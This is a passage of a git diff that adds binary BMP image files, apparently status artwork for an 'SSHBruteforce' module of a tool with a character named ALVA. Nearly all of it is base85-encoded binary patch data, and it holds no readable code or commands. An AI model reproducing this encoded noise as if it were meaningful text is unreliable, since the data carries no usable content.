zJEpc_YAdF+=#*Bq!lsm2<%0Q>h;?%Nx{@&rxLOsNwICH4pL!6|qEpGe`C4QmY({bnAbLq%acvP8 zp((=EHe6-Hl@`!drLZV?O{4IYGcDPa5Qzjidh8h7{cc5tCilwfyVVy556UEx?q%Ah+%vw~&W0ja-R?-6~X*Z)6Vi<58 zB(BPiD{VTZ1?4x7Ar?=yWW@xEL{j+Cnop#AINmEOc`NUie-O+LyDchkr~_A2*lj7M7S{?j;o^&C6;dG$5xPS2=KHDXuEj zDM~PL>qKMA2u*5akVd6Cdh{rH+uJ<{CVl&(*Zr{G?C;cx6Jr`igar1P ztWd^<_?MTJ9{=&jn>W12e;))Z-1^d`i(Op{;^QgYJZeKZUSt4D1oi+%kX9u#s^lh( z+^j*ZS|xCpN!Gk#qc=6ZL2Dx;Ty4>#R)||%U8F;X+vN+UmyNXuV}txBOq|%=eHQL= zuY%qfn+L?|>+Ril-x2V5IZ08YN;D%&^k&$>DkVlpVwKFKQkc|olU4@GnN^6CeUp`( zj6h4JU8l6^6=uD{q7hH6*Dsw@W|7j;Vq+d&yx7T~anx8G!O zI7t!y4R~SOXv1i`(yS4ibVv!NDACKM1vERR0yAsmgi2Uy7SEkvXdH>>X2hhYBrjdm zb?aa6+}jBJX{_MR_dotHZRU)auyA%-^jMo@@-TflE-Tj~Wtd!ANGDlw)L}#>*6Qbs z#Z3xETv(9NKz#D?-+Uda_(p~+U{kNUpdHK(01%Z7UpE+}C-4l<)v!;}o@Q7gl zl=x^qm)$hCasOxk@cHYjcIUp|ZOuQQ^>-X+&Ya%;?%NwTtbO~fH-7x_U;kb1&jtlI z{#&eftHGa9|9^;;4D0*c@!kDs{136-y`vAH#s4Z+_`hxU6Ab^$SYf@sci#V1toIqm Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 